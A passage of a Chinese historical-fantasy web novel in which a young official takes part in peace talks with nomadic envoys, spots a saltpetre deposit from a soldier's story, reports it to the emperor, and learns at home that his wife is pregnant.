理藩院司务厅能看到的文书事涉机密,自然和外边能够出版的地理志大不相同,南诏清吏司几年来存档的文书,叫段之缙大开眼界。 西南边陲之地,民风剽悍,异族据险而居,又多瘴气,气候炎热潮湿,当地的夷民的武器虽落后,但真要和朝廷的军队闹起来,也不那么容易被消灭,他们又自愿归顺,朝廷也一直抚慰。 又因为民风习惯不同,那里多的是女土司和女继承人。 只是有一点奇怪,段之缙问何婥,“大人,那叛乱贼首吞并其他寨子的时候,朝廷为何不镇压?”既然归顺朝廷,大家都同属臣民,哪里有尚书大人打死侍郎的道理? 何婥悠闲地喝茶,听见这话皱皱鼻子,“当初的打算,就是叫他们自己争斗起来,自己消耗自己。那叛乱的寨子早晚有力竭的时候,到那时朝廷再处理方便设置流官,谁知道他自己先疯了,杀了我们的官员。” 段之缙心下冷笑,怪不得人家不肯叫继承人上京来,你们作为“大家长”一门心思想着渔翁得利,那些土司是傻子吗?教导出来亲善朝廷的继承人,回去提着刀杀自己人。 这样是万万不可的,南诏贴着西南高地,本身就是高原,倘若要和穹迦人作战,少不得要从那里征兵,到时候穹迦乱了,南诏也跟着乱,乱成一锅粥就全完了。 只是这个事情轮不到自己来说,有道是“肉食者谋之,又何间焉”? 上午处理了一会儿文书,段之缙跑到各司去帮忙,很快到了中午吃饭的点。 中午头休息,段之缙本想拿着公餐跑去户部门口吃,和徐明宣、施秉文和邹文三个人说话,结果还没到点徐明宣和施秉文先带着公餐跑了过来,仿佛有狼撵他们。 段之缙吓一跳,问道:“怎么你俩过来?” 每个衙门的尚书不一样,像葛礼死后新来的尚书李威,他是不许自己的属官随便串部的,每次都是段之缙带着公餐跑到户部,四个人蹲在衙门口的石阶上吃。 徐明宣推着段之缙进司务厅,三个人围坐在段之缙写文书的桌上,施秉文打开饭盒,回道:“今天王爷到部,李部堂急着伺候王爷,邹大哥叫我们上去露脸,我们俩不敢偷偷溜过来的。” 段之缙恍然大悟,邹文不来估计也是伺候端王去了。 当初说的是暂理,理到现在都两年多,也没下明旨户部应当怎么办,就这么稀里糊涂地过。 段之缙问道:“王爷为什么今日来部?”王爷的亲儿子是刑部,为了打造他无欲无求的人设,非必要不要户部去。 徐明宣和施秉文对视一笑,施秉文问他:“应当是三喜,还是双喜?” 徐明宣扒一口饭进嘴,“一个孩子算一喜,我觉得算三喜。” “到底怎么了?” “王爷府里新娩下两个男孩,灵寿郡主也有孕了,他今天来了喜气洋洋的,还给我们分了饴糖。”原来是来炫耀的。 段之缙大惊:“呀!那方叙墨当爹了!” “对啊!” 这三个人就开始小声聊天,嘻嘻哈哈了半天,徐明宣又说:“西北的军队已经交接完了,我父亲会和赤砂使团一块儿到京。” 这次战事不顺,终究还是叫徐公爷挂帅去西北指挥军队,现在就剩下和谈,徐公爷也得从西北回来。 施秉文往徐明宣身上扒,“徐哥哥,伯父这次回来,你就能做郎中了,以后在户部,我就全靠你了。” 徐自闻已经是一等公了,又不可能封他异姓王,封虚职赐银却不是实际的封赏,只能在徐明宣身上找补。 不过也是,为朝廷立功,无非就是封妻荫子四字。 徐明宣却苦笑:“我算个什么东西,不过是靠着父亲,若是去了监印处做郎中又有什么意思?不如自己能建功立业的。你们知道吗?这次和赤砂人打仗,端王把他的一个侍卫送去了西北,他下了死命,现在已经是正六品前锋校了,这次回京估计要大大的奖赏。” 段之缙隐有预感,果然听徐明宣道:“名字好像是唐馥。” 第69章 069和谈 “ 嗡嘤——嗡嘤——” 出城五里的官道两边,大杨树上趴着数不清的知了,在烘烤的烈日下嘶声惨叫,六月底的太阳炙烤着大地,也炙烤着等候着的理藩院并礼部官员。 今日就是徐公爷到京的日子,还带着赤砂的使团。 闻清远、罗国珠两位尚书大人还能在伞盖下躲一躲,但如同段之缙这般的低等官员,就只能在太阳底下晒着。 段之缙低头盯着地面,汗水啪嗒啪嗒落到地上,他读书这么多年有些近视,但汗水瞬间蒸发的样子还是能看清的。 悄悄数着地上的蚂蚁,远处传来了阵阵马蹄的声音,段之缙抬头看去,大路尽头扬起阵阵沙尘。 闻清远整整衣袍,看着伞盖外边垂头丧气的官员嗔道:“瞧瞧你们的样子,朝廷的体面还要不要了?打起精神来!” 众人用帕子擦擦脸上的汗水,相互理一理衣冠,昂首站立,紧盯着远处愈来愈近的尘土。 离着百米多远,徐自闻和赤砂人下马,前者领着雍朝的官兵上前,走到闻清远身前齐刷刷跪下,沙哑浑厚的声音震得人心头发颤。 “臣一等公征北将军徐自闻,叩请陛下圣安!” 举动间是铁甲碰撞的寒声。 闻清远手捧圣旨从伞盖下走出,“圣躬安。徐自闻接旨……” 闻清远展开圣旨宣读,老长一大串,都是对归来将士的封赏,徐自闻加兵部尚书的衔,又赐银赏地。唐馥晋为正三品一等侍卫,日后宿卫随扈,想来也是前途无量。 战场上的风险大,一不小心命都豁出去,但回报也是巨大的,徐自闻能凭借一场战事封超品一等公,唐馥也能从一个无名小辈一跃成为皇帝身边的一等侍卫。 赤砂人挂着讽笑看这一幕,身边的狼头大纛在热风中猎猎作响,领头的图尔赫的次子阿勒速和自己的红枣马说悄悄话,狼牙项链打在他的胸口。 封赏之后进城,徐自闻等人要进宫谢恩,罗国珠亲自安顿赤砂的使臣住在会同馆,修整两日,七月初一开始谈判。 谈判的地点在理藩院抚远司的堂屋内,原本的桌子都被清空重新布置,一张大方桌摆在正中间,两侧分别是雍朝和赤砂的人。 谈判桌上坐着的都是朝中重臣,以中堂刘玳廷为首,一等公徐自闻,理藩院尚书罗国珠和礼部尚书闻清远做辅,其余人则贴着墙设案而坐,段之缙沾了理藩院行走学习的光也能参与这种朝廷大事,做个旁观者。 另一侧是赤砂人,以二王子阿勒速为首,还有他们部落的贵族脱勒齐等人,身后站着守卫。 两边的人员相互介绍,阿勒速那边先发难,跟翻译叽里咕噜说了一大串话,那褐发灰目的翻译面色不善地问:“赤砂人是以最高的诚意来和谈的,大光明汗派他的儿子我们的二王子来京,你们的大皇帝为什么不派出他的儿子?” 刘玳廷做这么大一个国家的中堂,岂能叫他们三言两语唬住,面上呵呵一笑,阴阳怪气道:“两国情势不同,我们大皇帝日理万机,王爷事务也忙,全天下一万万的人口,全都指望着他们活呢,自然没有那闲工夫。咱们议出来一个结果,禀告给我们大皇帝即可。” 他话里有话,分明是说赤砂地少人稀,不如中原人口繁盛。 阿勒速也不是善茬,跟那翻译耳语了几句,那翻译嗤笑着转述:“是吗?我们博奇克顿大汗在世的时候,也就是你们太祖皇帝之时,赤砂人进出止步关如履平地,那时候也是在理藩院和谈,你们朝廷是以太子也就是你们的太宗皇帝为首交涉的。” 刘玳廷敛着眼皮,茶杯盖拂过碧绿的茶汤,讥诮道:“王子这话说的,本官还以为是你们自己回的赤砂。可我怎么听说是我们征北将军在草原上撵了你们几百里?”他笑着,又回头看看徐自闻,“公爷,你跟陛下说大话了?” 徐自闻哈哈大笑:“中堂,你这话说的,老夫的脑袋都要搬家了!” 阿勒速还要反击,刘玳廷抢道:“和谈一事,最重要的是能不能做主,和身份是否尊贵无关。总不能我们这边已经谈妥当,你们的大光明汗不答应。你们来京和谈,朝廷的诚意是有的,大部分的事情本官都能做主,只是你们赤砂人的诚意呢?我们这边有了做主的人,二王子能做主吗?” 翻译说给阿勒速听,阿勒速颔首,摆出了自己的条件。 “我们停战,要粮食六十万石,盐巴五百车,茶砖一万斤,棉布十万匹,貂皮一千张,铁锅一万口,铜钉三千斤,还要你们中原的礼器。你们西海的盐州府和万山府也要开关以通有无。此外,这次和谈的目的是永结盟好,我们赤砂用最真诚的心,聘娶你们的公主殿下。” 赤砂那边的翻译说话不打磕巴,条件提了不少,若真的同意了,这次战争就是不败而败,跟打了败仗没有区别。 刘玳廷喝水,用眼神示意罗国珠,罗国珠原本端正矜持的坐姿一下子摊开,十分无礼。他哈哈笑了两声,“我们雍朝的停战条件是齐斯赫山以南的所有草场都要划归雍朝,另外献战马两万匹,牛一万只,羊五万只。你们图尔赫汗的大王子苏赫也要进京学习汉文。” 翻译黑着脸转达,阿勒速猛捶了一下桌子,乱七八糟的汉话也挡不住他的怒火,“雍朝人,诚心,一点没有。” 刘玳廷笑道:“我们的大皇帝陛下说,你问我们要多少,我们就得从你们那里得到多少,这都是相互匹配的。” 西北内陆,赤砂人的日子并不好过,粮、盐、保暖用的衣服都缺,还有发酵过的茶砖能够促进他们消化过多的肉食,是必不可少的东西,所以狮子大开口。铁锅、铜钉和礼器,这些熔化后能够炼制武器,因而决不能给。而开关通商,虽然能够互通有无,但是雍朝考虑的是奸细的问题。 因而他们的条件,在刘玳廷看来是痴人说梦。赤砂人和朝廷开玩笑,朝廷也和他们开玩笑,赤砂最肥沃的草场都在齐斯赫以南,大量的牛羊骏马也会让赤砂人元气大伤,而叫他们的继承人入京为质,纯属是戳赤砂人的肺管子。 两方人又重新提条件,整个堂屋沸反盈天,赤砂人的嗓门嗷嗷叫,雍朝这边冷嘲热讽,谁也不输给谁。 屋内四个角垒着一盆盆的冰,但是桌上的人都热得一脑门汗,唯有贴着墙的官员大夏天冻得瑟瑟发抖。 吵了一顿也没吵出结果,中场休息的时候,几位大人出去透气,阿勒速也跟着出去,理藩院的小吏插着这个间空上来倒水。 赤砂人也焦躁,脱勒齐是阿勒速的堂弟,被这种僵持的局面闹得火大,带来的弯刀已经被雍朝人收缴,他只能摆弄马鞭。恰在此时,小吏的茶水送到了他身边,刚斟满,鞭尾就扫过了茶碗,滚烫的水泼在脱勒齐的手背上,杯盏打落在地发出一声清脆的瓷碎声。 那小吏喉结滚动了一下,原本细细碎碎的说话声骤然停住。 “南蛮子!”他身后跳出一个红脸大汗,马鞭撕裂闷热的空气,鞭梢镶着的狼牙打在小吏身上,第二下即将落下时,被段之缙一把抓住,掌心火辣辣的疼。 何婥快步上前,用不熟练的赤砂语怒斥道:“这是雍朝的国土,他是朝廷的官吏,轮不到你们赤砂人来耍威风!” 见势不好,理藩院的官员跑出去禀告刘玳廷,没一会儿,刘中堂急匆匆带着人回来,此时段之缙还握着鞭梢,两方人僵持不下。 刘玳廷瞟他们一眼,叫段之缙回来,瞅着阿勒速,面无表情道:“这不是你们那地方,我们的官吏也不是你们部落的奴隶。你们使团的成员坏了规矩,该怎么办?” 红脸大汉气不过,用极快的赤砂话破口大骂,朝廷这边的翻译人员飞速转述,阿勒速厉声叫那大汉住嘴,然后用赤砂语叫他道歉。 刘玳廷叫段之缙过来,掏出手帕放在他磨伤了的掌心压住,“去太医院看看吧,就在礼部衙门旁边,上完了药再回来。” 段之缙看看掌心的伤口,马鞭抽在手心,有些磨损,但倒不是很严重,就是狼牙划过掌心,留下一道血痕,他低声拒绝:“中堂,下官的手不要紧,很快就能愈合。”言下之意是不用去太医院,刘玳廷点点头,大家回到桌边坐下。 刚才的紧急事件好歹宣泄了些火气,现在谈起来心平气和许多,虽然还没有达成一个满 意的结果,但是日子还长,总能磨出来一个结果。 然而磨了好多天,朝廷想要的马匹和放马的草场也没有磨下来,赤砂人也越来越焦躁。 谈判都没有破局的迹象,但是为唐馥庆功的酒局先开了。 唐馥做再大的官,即便日后能够如徐自闻一般封妻荫子,也得记住了自己的出身,谁是给他打点妥当入了军营,因而有空之后就在聚鲜阁做局,请端王府的人吃酒。 邹文拽着段之缙去,段之缙这些日子累得半死,甩着袖子挣扎,“我又不是你们王府的,别叫我去了,我要回家……” 邹文又哄又吓,“去吧,你妹夫都在,大家一起耍耍,你想想我们多长时间没出来聚了?你若是再拒绝,我就要恼了!” 段之缙幽怨地看着他,“含章哥,每天中午我们都凑堆儿吃饭的,还有什么好聚的?除了小宋其他人我也不认识。” 邹文先给段之缙的妹子做媒,现在又要应宋征舆的请求,不由分说地带着他去了聚鲜阁。 推门进屋,屋子里的人比上次还多,开出来两桌,段之缙跟着邹文他们坐了,倒是宋征舆别别扭扭,红着脸拽段之缙去了一边。 宋征舆从怀里拿出一个小叶紫檀的木盒,“明日就是七月初七了,弟没有金贵的东西能送,这个是王爷知我订婚后赏我的,求哥哥带回家去。” 段之缙便知是他送给霓丫头的礼物,可怜订婚了还要偷偷摸摸地送东西,还非要借着别人的酒席来送。“我代妹妹谢过了。” 两人回席,相互敬一杯酒,然后说话的说话,吃菜的吃菜,酒过三巡,王府的人催着唐馥说些好玩的。 唐馥笑道:“我在西北能有什么好玩的?无非就是打打杀杀。” “哎,端王府就出了你一个武官,怎么不给我们说些不知道的事情?我听说人死的多的地方会有鬼火,你有没有看见?” “你这么一说,我倒是想起来了。在西北撵着赤砂人跑的时候,碰到了一个奇怪的地方,他们当地人叫鬼见愁。” “鬼见愁”这个名字一出,把所有人的好奇心都勾了起来。段之缙也停下筷子,等着唐馥说话。 “这鬼见愁不是一般的地方,土上覆着一层灰白的粉……” 一个人问道:“是不是卤田啊,我们乡那块儿地不好,就是覆着一层白粉。” “非也,卤田什么样我还是知道的。卤田是一层硬邦邦的盐壳,但是鬼见愁那块是雪一样的碎屑,土湿乎乎的。而且卤田里边作物难生,生出来也是黄蔫蔫的,但你们猜我看见了什么?鬼见愁蒲草的茎有我的一根指头那么粗,叶子却跟叫火燎了一样。” 其他人啧啧称奇,段之缙却越听越不对劲,唐馥接着说:“当地人说,这里的地下都是虫子,但是牛羊却不敢靠近。” 有人疑惑:“这到怪了,按理说牛羊是会舔食盐粒的呀!” “那块地方有一股酸味儿,土也是又苦又咸,估计牛羊不爱舔。晚上还泛着青光,那就是畜生的魂魄被困在了那个地方,晚上出来游荡。” “不是说牛羊不敢靠近吗?为什么还会有魂魄被困在哪里?” 唐馥喝一口酒,“赤砂人不敬祖先敬畏天神,为了死后上天,就把人的尸首和被杀死的畜生一块儿扔到鬼见愁那地方,狼群害怕不敢靠近,天上的鹰却不怕,吃完了畜生的尸首之后就能带着人上天。” 段之缙基本上确定了,兴冲冲地跑出去叫店家找纸笔,又展开在唐馥面前,“唐兄,你能画一下鬼见愁的位置吗?” 唐馥叫他吓了一跳,邹文扶额嗔他:“你又咋了?要学我们小唐去西北?而且小唐比你小着呢,叫反了。” 段之缙也不管,催着唐馥画,唐馥不知所以还是给他画了,段之缙揣着纸往理藩院跑,罗国珠等人果然还在。 “大人,西北有硝土!” 啪的一声,又是一个茶碗掉到了地上。 第70章 070重划草场 “你怎么知道西北有硝土?”罗国珠惊疑道,又看他一身酒气,更加不相信。 硝土是制作火药的重要原料,这个东西多了不嫌多,最害怕的就是敌人也有。 再者火药并不难制作,赤砂人这一次又要这么多的铁,若再有硝土,和谈的内容恐怕就要变一变了。 段之缙把方才唐馥的话说了,“下官之前读书,硝土大多质似盐而味苦,又能存水,所以土质湿滑。赤砂降雨不多,那土怎么能一直滑腻湿手?恐怕有硝。”他也是想到了火药才这样着急。 铁、硝、硫磺和木炭,就能做成爆破用的东西,攻城掠地,作用可不小。即便是没有那些东西,只硝在,还能助燃呢。 罗国珠等人不太清楚硝土是什么样的,但事关重大,就算说着话的是个醉鬼,还是得跟刘中堂汇报。 刘玳廷听后叫人出去找唐馥回来,又连夜进宫面圣,还带上了段之缙。 大半夜的,本以为皇帝该睡下了,结果吴祥很快传他们进去,想来皇帝也熬着呢。 乾清宫内,皇帝精神矍铄地坐在上首,屋子里檀香弥漫,少见的没有药味。 皇帝听了刘玳廷的禀报,转一转手上的扳指,吩咐吴祥:“去叫徐自闻和魏书过来,把工部虞衡司的郎中也带来。” 这些人都已经下值回家,又被皇宫的侍卫从被窝里拖起来,徐自闻和工部尚书魏书倒还好,虞衡司郎中常思还以为是自己犯了事儿,吓得腿哆嗦,叩请圣安时战战兢兢的,差点没从地上爬起来。 皇帝叫他们起身,示意刘玳廷把那土的事情说了,常思听后细细琢磨一番,回道:“臣不敢打包票,但是听起来确实像硝土。若要确定就得火烧水浸。” 皇帝沉吟一番,问道:“鬼见愁多大?” 这次和谈,朝廷想要的就是两点,上等骏马和放马的草场,以弥补本国内战马不足和质量差的问题,倘若鬼见愁是个丁点儿的小地方,那就要草场不要硝土。 徐自闻回道:“不小,有万来亩。” 皇帝看看常思,后者道:“若真是硝土,比域内最大的产硝地大不少。” 崇德帝叹一口气,怎么就插进来这么一档子事儿,硝这玩意儿,怕自己缺还怕别人有。 他看向徐自闻:“有没有可能,划草场的时候鬼见愁也划进去?” “陛下,这是赤砂人的埋骨地,恐怕不能划给我们。” “那怎么办?”皇帝看看下边站着的臣子,一个接一个的低下了头,刘玳廷顶着黑眼圈,也一言不发。 乾清宫的挂钟滴滴答答,报时鸟时不时弹出来,等了好长一会儿,看地图的看地图,静思的静思,反正没人说话。 皇帝的眼睛一个一个地扫,兴许是觉得年轻人脑子活,竟叫那两个身上带酒气的先说。 段之缙踌躇道:“陛下,臣以为有枣没枣先搂一杆子。明日划分草场的时候,把鬼见愁也包进去,以方便管理的理由成片割划,若是赤砂同意自然最好,若是不行也不至于打草惊蛇。或许也可以找准地势,不一定要多么肥沃的草场,只要能相互借势,以便在开战之时快速抢夺到鬼见愁。” 徐自闻和唐馥看看地图,回道:“此法可行。” 常思犹豫片刻上前一步答话:“陛下,虽然此地极像硝土,但以往 不是没有将卤地错认为硝土的情况,没有水浸火烧过,臣不敢打包票。” 若是真弄错了,朝廷的损失可就大了,他绝不敢在没有查验过的情况下下定论,自己担不起这个责任。 刘玳廷上前一步:“回陛下,我们可以在草场上让步,但是要叫我朝使团进赤砂查验才准签订盟约,查验的时候可以去鬼见愁弄些土来,若真是硝土,则顺势选择草场,若不是,反正盟约尚未签订,我们就在银泉城再谈。” 崇德帝想一想,也只能如此,倘若要出使,刘玳廷和户部虞衡司的人是一定要去的,段之缙第一个发现也要跟着去,徐自闻是最了解赤砂的人,少不得也要跟着,还能查探地形。 皇帝想了想,又安排了几个人,最终应下。 商量好这些事情,的自鸣钟三声轻响,原来已经天亮。 皇帝瞧底下的臣子眼皮往地上掉,叫他们告退,“行了,你们也熬了一晚上,今天谈完之后明日歇一歇,也叫赤砂人歇一歇。还有段之缙和唐馥,”皇帝话锋一转,“嗜酒于公于私都甚为有害,小酌即可,你们是喝了多少?” 这两人嗫嚅起来,最后实话实话,叩头请罪。 “行了,长个记性,回去办差吧。” 众人领旨告退,直接去了抚远司等赤砂人来。 堂屋内自鸣钟滴答滴答地响,唐馥和段之缙两人找了个墙角坐下倚墙休息,反倒是年纪大的精神好,还能相互说笑。 打着盹,段之缙感受到一个人轻推他的肩膀,睁开眼一看,刘中堂端着碗站在身前,笑呵呵的,“昨天喝酒,又熬了一晚上没能收拾,累了吧?这是御膳房送来的茯苓山药粥,万岁爷记挂着咱们呢,喝一碗暖暖胃。” 段之缙接过,“谢大人。” 刘玳廷又端了一碗给唐馥。 唏哩呼噜吃完了饭,段之缙被酒气闭塞的五感也灵敏起来,闻到自己的官服散发出难闻的气味,酒水和菜的味儿掺在一起,又带着汗液咸津津的味道。 等了片刻,辰时左右人也就到齐了,这一日谈判正式开始。 谈到现在,双方的要求都降低了许多,赤砂人已经不再提开关以通有无,粮食和盐巴等必须之物也降到了合理范围之上高一点的水平,金属器具的要求朝廷也能捏着鼻子认。 朝廷这边牛羊什么的不要了,骏马和草场的要求却仍在赤砂人的承受范围之外。 但是今日,朝廷提出了新的条件,先试探一番赤砂人对鬼见愁的态度。 徐自闻用朱笔点出了几块地方,不全是草场,但连成一片是一个整体,正好囊括了鬼见愁。 “这是我们的条件,可以不全是草场,但是新划的部分要成片以方便官吏管理。” 阿勒速接过一看,跟翻译说了几句,翻译回道:“我们不可能让出这么多土地。” 徐自闻又去掉了几个地方,仍把鬼见愁囊括在内。 阿勒速指着鬼见愁道:“这块儿,不行。”与翻译耳语几句,那赤砂人接着说:“这个地方是我们的埋骨地。赤砂人去世之后,我们的身体都要放在那里,灵魂才能上天,是不可能给你们的。” 刘玳廷问:“你们不是信仰狼神吗?” “我们信奉狼神,狼神会带给我们勇气和力量,但是战士的英魂要回到天上。” 徐自闻兜着手,“二王子,去了这块地儿,这线就不能连成一条了。” “可以不连成一条。” “朝廷有朝廷的打算,这次和谈的确是为了永结盟好,但是彼此之间还是不要太过信任。这条线一断开,蒙白、巨明两块草场就去了你们的腹地,我们从齐利草场到蒙白,还要过你们的领地,怎么可能放心?” “那你们选别的草场。” 看来鬼见愁那块儿地是没得商量了。 也难怪,人家祖祖辈辈的埋骨地,又不是打了败仗,怎么可能轻易送出去? 刘玳廷呷一口茶,“话不是这么说的,我们要所有贴着西海省的草场,你们不答应。我们不求数量,只要十个肥沃的靠近西海的草场并一万匹骏马,你们也说不行。现在我们往里走,想要蒙白、巨明两块儿好一些的草场,你们又不肯叫我们连线,干脆你来画。” 赤砂人也有些诚意,避开鬼见愁也画了一条线出来,徐自闻仔细琢磨一番,对刘玳廷摇头。 刘玳廷道:“我们对你们赤砂所知不多,想要的草场已经全都说了,倘若要接受你们的意见,就得叫我们的官员去查验草场的状况。” 赤砂人也怕这方的人员刺探情报,死活不同意,这天的谈判又僵持下去,最后下值的时间到了,刘玳廷也说得疲乏,终止了今日的和谈,顺便说明日歇一天,也叫赤砂人在京里逛逛,最后壮丁抓到段之缙身上,叫他陪一陪赤砂的使臣,这才叫官员们回家。 段之缙应下,顶着一身皱巴巴的官服,正要回家的时候,怀里的小叶紫檀木盒咯了一下胸口,他忽然忆起来今日是七夕女儿节,宋征舆给霓丫头送了东西,自己也得给蘋儿买才是。 一模荷包,二两碎银。谁上班还能带那么多钱呀! 无妨,去户部借点,说不定施秉文和徐明宣有钱。 现在户部衙门也渐渐走出来人,段之缙叫住一个七品补子的同僚,打听施秉文和徐明宣走了没,那兄台尚未答话,邹文先走了出来。 “理藩院今日下值早啊,你不回家,来户部衙门找他俩作甚?” 工作的时候称职务,段之缙嘻嘻一笑:“大人,下官来借钱。” 邹文被他逗乐了,问道:“你怎么不跟我借,是看着我穷?” 段之缙答:“下官怎么好意思找上官借钱?再者王爷今日来户部看账目,下官也是知道的,还以为大人要陪着王爷呢。不过大人非要借给我就另说了。” “那我告诉你,他俩都回家去了,我身上没钱,不过你要是跟我说借钱作甚,我就给你想法子。” 段之缙回道:“大人知道宋征舆为何非要下官与宴吗?下官要效仿宋征舆。” 邹文自然知道,他摸摸下巴,啧了一声,“你说得对,我也得效仿一下宋征舆。”然后转身回部。 纪禅还在看上月的账目,见他去而复返疑道:“不是叫你回去了吗?” 邹文给端王讲了这个笑话,又求道:“还请王爷借些银两给我们,要不然回家也难。” 纪禅欣然一笑,叫身边的侍卫递荷包:“银票好像有两张小的,逗孩子玩的金豆子倒是有不少,赏你们了,不用还。但是你得先去找方叙墨,叫他下值来王府,府里的宫花叫他捎给郡主。” 邹文高兴应下,先拽着段之缙去找方叙墨,然后才分了荷包里的钱,一块去城内的首饰行看。【你现在阅读的是 】 70-80 第71章 071有喜 在去首饰行之前,这两人先去衙门更衣处换了一身便服,段之缙捧着自己的官服刚要上马车,又被邹文拽住。 “坐马车作甚?今日七夕节,大街上热闹得很,跟我下来逛逛。” 段之缙想想,若是街上也有新奇的玩意儿,也能在街上买些,于是道:“那就依含章兄。” 两人在街上转悠着,今天宵禁比往常晚一些,唱戏的咿咿呀呀,小摊小贩在街边叫卖,段之缙大包小包,看着什么都觉得好,二两碎银子换了好几个面人并香囊,虽不是精致的东西,但胜在模样别致,就比如那香囊,不是常见的丝缎绸布,也不是金银玉球,而是用细藤编造,带着草木的香气,里边放着的也不是香料,而是带着香味的小花,更觉清新。 邹文嘲笑他:“净弄些不值钱的东西糊弄你媳妇。” 段之缙无所谓,“那不还有一百两银票和金豆子吗?这二两银子算白捡的。” 他捏捏荷包里的金豆子,沉甸甸的十分喜人。 说是金豆子,可刚才打开看的时候,分明是金串子,每个小珠都圆嘟嘟的,做成滚圆的小猫、小狗、小猴的样子,有鼻子有眼,用丝线穿起来,一看就知是娃娃的东西。 因为女儿家不会弄些猴子猫狗上身,男人们也不会带这样的金银首饰。 想到这,段之缙忍不住轻笑:“王爷还喜欢这样童趣的东西呢,还是谁送给他的?” 邹文哼哼两句:“这是哄两个小公子的。我听说王爷要爱死这两个小娃娃了,一回家就抱着,也不给后院的女眷养了,一大群保母围着住在外院,恨不得晚上搂着睡。更有意思的是,你先生说王爷看文书都得抱一个在怀里。” 这倒有些奇了,富贵人家的小孩儿往往都是奶娘保母带大 ,连亲生的母亲都只是看看,父亲连看都不爱看的也有,怎么纪禅就这样爱呢?他又不是没有儿子。 邹文叹一口气,“王爷本来就喜欢小孩,十一皇子的三个孩子都养在王府,只是王爷自己子嗣运不好。” “我们王爷生下来的孩子不少,没养住的也多。嫡妃生下来的长子,种痘的时候没了,连序齿都没有。骇得王爷不敢叫孩子年纪小小种痘,结果偏就那么巧,京里出了天花,王爷一月之内没了三个孩子。到现在活着的就剩下三个郡主和两个公子。” “可大公子文懦,见着王爷战战兢兢的,王爷恨铁不成钢,更是严厉,结果这个恶声恶气,那个胆战心惊,大公子见王爷如同见了活阎王。” 不对吧?段之缙疑道:“王爷没有嫡子,应该封长子为世子才是,为何不称世子而叫大公子?” 本朝的王爷的嫡长子满十岁就能封世子,确定名分,但是端王妃近二十年没再生育了,皇帝应当封长子为世子啊。 邹文苦笑:“谁说不是呢?陛下都要下旨了,结果王爷死活不同意,说要是叫我们大哥儿做了世子,玷污了‘端’的王号。我们劝过,不满意日后再说,就是劝不动。” 这哪是父子啊,仇人也没这样的。 段之缙问道:“那二公子呢?” 邹文朝他挤眼睛,“二公子,你的先生都要被二公子气死了,骇得王爷换了人教导,你说好不好?” 段之缙这才记起来,自己还在守孝的时候,秦先生就写信说过二公子不受教。 端王还惦记着皇位,有两个这样的儿子,相当于没有儿子,撑不起来大业。 “现在又得两个儿子,日日搂着抱着。为了这两个宝贝疙瘩,都给媵妾请封夫人了。” “请封夫人?”段之缙大惊,“这又是哪里来的封号?王爷除一妻外,其他妾媵不是不加封号的吗?” 邹文轻笑:“夫人有福气,能活着生下来双胎,连陛下都知道这件大喜事,已经封了安乐夫人。” 这倒是,唐代建康郡王李涣生下了双胞胎儿子,还有大臣特意上贺表,说这是“莫大之庆”,给公子之母请封也是常理之中。 两人七拐八拐到了首饰行,一进门,差点被满目的金玉珠宝晃瞎了眼睛。 店里除了伙计再没别人,因为首饰行的规矩,大多是提前预定打造好了再送上门,哪有富贵人家当场买的?但是做生意嘛,还是要有个店面。 现在天都有些黑了,店里的伙计见来了客人赶忙迎接:“二位贵客,可是有什么想要的首饰?我们这儿男人的怀表女人的头面,应有尽有。” 邹文的想法很明确,“带我看看金簪子。”便有人领着他去了。 段之缙却没什么特别的想法,只先叫伙计介绍。 伙计高唱一声,“那小的就先给客人介绍了。您看这金累丝镶玉嵌宝双鸾鸟牡丹分心,花蕊里藏的是红宝石;这云凤纹金压鬓钗,凤纹都是老师傅一点点刻上去的,这羽毛,就差飞上天了!旁边碧玺十八子压襟锁,您瞧瞧这个粉劲儿,不是平常的货色吧?” 段之缙看来看去,没什么意思。 这些东西千篇一律,若要论巧妙,并没有家里那些南方来的首饰巧妙。 伙计见他兴致缺缺,又介绍道:“这组头面的挑心上嵌着西洋玻璃仿随侯珠,可还看得上眼?” 更看不上眼了,现在玻璃是金贵东西,但段之缙却不把它们当值钱玩意儿。 但有一样东西却真是稀罕了。 他指着柜台里的怀表问道:“这个要多少?” 鸽卵大小的鎏金珐琅圆盒,通体烧着孔雀蓝釉色,迎着灯,湛蓝色的光线从圆心炸开,每道弧尖都嵌着米粒大的玻璃钻花,一看就知道是西洋货。 伙计喜笑颜开,“客人真是好眼力,这是岭南对夷人通商的地方运过来的,价值不菲。” 段之缙拆开荷包,里边有一张一百两的银票,看来这串金豆子是非用不可了。金银是按照一对十兑换的,但是金楼里本身就收首饰,说不定能多兑点。 “你看看这金串子能兑多少?若还不够就给我看看旁的怀表。” 伙计接过来看,都是没什么意思的小猪小狗,按理说也就个金价,但上边每个小玩意儿都憨态可掬,那眼睛总共也就芝麻点大,还用白玉、墨玉做了眼白和黑眼珠出来,不像是凡品。只能交给掌柜看。 段之缙等了一会儿,里堂的掌柜含胸跑了出来,满脸笑容,“客人,真是招待不周了,敢问您这串子是打哪儿来的?” “呃……上司所赠。这串子能顶多少银子?” 掌柜捧着金豆,“这串金珠可不是凡品能比的,一千两都值,若是您喜欢这块怀表,就为您兑这块怀表。” 段之缙觉得不对,商量道:“能否把串子先压在这里,等会送一千两银票来。” 掌柜的满口答应,邹文也挑好了簪子,他选的东西简单,那百两银票就够,串子也要带回家给媳妇。 等着这两个人带着东西出门,伙计颠弄一番金豆子,疑道:“也就二两重,最多顶二十两白银,怎么就不似凡品了?” 掌柜戳一下他的脑袋,“没眼色的东西,你道行还浅着呢,跟着我好好学吧!” 二两金子虽然顶不了多少东西,可他做了这么长时间的掌柜,什么样的东西没见过?这手艺一看就是宫里的。 造办处的工匠把脑袋别在裤腰带上做工,这才能把芝麻大点的玉嵌死在金豆上。 拿着这样的东西,虽说不一定是达官显贵,但一定是得了上头的青眼。 这首饰行能在京城盘下来这样大的店面,生意还这样红火,不光会做商人,还得懂门道。 捧着各自的东西,段之缙和邹文道别,两人各回各家。 这是有了官职以来头一回回家这么早,家里人各个连惊带喜,看着他窃笑,但是要问怎么回事儿,却又住了嘴。 段之缙叫来王章,“你从我卧房的钱匣子里拿一千两一百两银票,去首饰行给那掌柜,把金串子给我换回来。”那串金豆子就是天仙做的,也不能值一千两的银票,谁也不是傻子。又把面人、香囊什么的都分了去,问琼香二奶奶在屋里没有。 琼香也窃笑,“不仅二奶奶在,连太太、姨娘和姑娘也在呢。” 段之缙更觉奇怪,连忙回致知斋。 此时沈白蘋跟个瓷娃娃一样躺在床上,小瓷碗里盛着苦汤子。 段之缙大惊失色,扑在床前,“这是得了什么病?!” 施姨娘笑得有些不怀好意,“这还不是你造下的病?也好意思来问?”沈白蘋尴尬地直咳嗽。 王虞叫施姨娘别乱说,喜道:“千盼万盼,你终于能做爹了!” 做爹? 